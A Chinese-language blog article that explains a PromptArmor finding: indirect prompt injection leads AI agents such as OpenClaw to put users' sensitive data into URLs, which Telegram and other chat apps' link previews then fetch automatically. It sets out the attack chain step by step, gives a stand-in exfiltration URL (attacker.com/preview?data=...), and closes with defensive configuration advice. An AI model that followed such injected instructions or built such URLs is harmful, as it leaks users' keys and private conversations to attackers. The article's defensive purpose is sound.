代理系统的隐形威胁：深入解析链接预览中的 LLM 数据泄露

随着大语言模型（LLM）从单纯的聊天机器人演进为能够自主执行任务的“代理”（Agents），安全性问题也随之升级。最近，安全研究机构 PromptArmor 揭示了一个被广泛忽视的风险：通过即时通讯应用的“链接预览”（Link Previews）功能，攻击者可以利用间接提示词注入（Indirect Prompt Injection）在无需用户点击的情况下窃取敏感数据。

本文将深度剖析这一攻击向量的工作原理、为什么像 OpenClaw 这样流行的代理系统会受到影响，以及开发者和用户应如何进行防御。

1. 攻击背景：间接提示词注入的演变

在早期的 AI 安全讨论中，我们主要关注直接注入（即用户试图让模型破防）。然而，随着代理系统开始能够访问外部数据（如读取网页、扫描邮件、监听即时通讯频道），“间接提示词注入”成为了核心威胁。

传统的泄露方式通常要求模型生成一个恶意链接，诱导用户点击。这种方式依赖于社会工程学，且由于链接往往看起来非常可疑（带有大量冗长的参数），成功率受限。但在现代协作环境中，这个门槛被大大降低了。

2. 核心漏洞：链接预览（Link Previews）

Slack、Telegram 和 Discord 等主流应用为了提升用户体验，会自动抓取消息中 URL 的元数据（如标题、缩略图、描述）。这个过程是自动触发的。

攻击链条解析

1. 注入阶段：攻击者在某个代理能接触到的地方（例如一个网页、一份共享文档或一个公开频道）植入包含恶意指令的内容。
2. 触发阶段：代理在执行任务时（如“总结这个网页”或“回复频道里的新消息”），读取到了这段恶意内容。
3. 构造阶段：恶意内容指令代理根据其上下文中的敏感信息（如用户的 API Key、私密对话内容、甚至是最近的搜索记录），动态构造一个指向攻击者服务器的 URL。例如：attacker.com/preview?data={SENSITIVE_DATA}。
4. 执行阶段：代理将这个构造好的 URL 发送回给用户的客户端。
5. 泄露阶段：一旦消息出现在用户的屏幕上，通讯应用的服务器（或客户端，取决于实现方式）会自动发起一个针对该 URL 的网络请求以获取预览信息。

关键点在于：用户无需点击链接，数据就已经通过该请求发送到了攻击者的服务器日志中。

3. 案例研究：OpenClaw 与 Telegram

PromptArmor 的测试显示，目前最热门的代理框架之一 OpenClaw 在默认配置下极易受到此类攻击，尤其是通过 Telegram 访问时。

在 OpenClaw 的典型工作流中，如果它被配置为监听 Telegram 频道并总结内容，攻击者只需发送一条包含注入指令的消息，就能让 OpenClaw 把用户的个人信息“打包”进一个 URL 发回。由于 Telegram 默认开启链接预览，这会导致数据瞬间外流。

我们在之前的文章《多模态检索的新高度》中讨论过数据的获取与检索，但如果这些检索到的敏感数据被代理系统不经意间通过泄露通道发出，后果将不堪设想。

4. 深度分析：为什么防御如此困难？

这不仅仅是代理系统的问题，也是底层应用生态的系统性缺陷：

• 责任边界模糊：代理框架（如 OpenClaw）认为消息呈现是客户端的事；通讯应用（如 Telegram）认为预览是一个增值功能；而 LLM 供应商认为只要模型输出了正确的文本就算完成任务。
• 功能与安全的平衡：禁用预览会降低用户体验，且并非所有应用都提供细粒度的 API 来控制该行为。
• 动态构造的检测难点：传统的 URL 过滤很难识别出那些包含加密或编码后的敏感数据的、看似随机生成的子域名或查询参数。

5. 防御策略：如何加固你的代理系统

对于开发者：

• 输出清理（Output Sanitization）：在将模型生成的文本发送到前端之前，检测并过滤或混淆可疑的 URL。
• 配置控制：在调用通讯平台 API 时，显式禁用链接预览选项。例如在 Telegram Bot API 中，应将 link_preview_options 设置为 is_disabled: true。

对于 OpenClaw 用户：

根据 PromptArmor 的建议，OpenClaw 用户应修改配置文件：
在 ~/.openclaw/openclaw.json 中，确保 channels > telegram 对象下包含：

1

"linkPreview": false

这将从源头上关闭泄露通道。

对于普通用户：

• 在即时通讯应用的设置中全局关闭“链接预览”。
• 对代理系统表现出的“过度热情”保持警惕，特别是当它无缘无故输出一长串带有随机字符的链接时。

6. 总结

随着 AI 代理更深入地集成到我们的工作流中，攻击面正在从传统的“系统漏洞”转向“逻辑交互漏洞”。链接预览泄露是一个典型案例：它利用了系统各组件之间预期的、良性的互动，组合出了一条致命的路径。

安全性不再仅仅是关于“不被攻破”，更是关于如何在一个互联的、自动化的世界中保持对数据流向的完全掌控。正如我们在关于 Llama 4 推理能力的探讨中所提到的，模型的智力越高，我们赋予它的权限越多，其作为攻击跳板的潜在风险也就越大。

参考来源：

• PromptArmor: LLM Data Exfiltration via URL Previews
• OpenClaw Security Documentation
• Cybersecurity Analysis: Indirect Prompt Injection in Agentic Workflows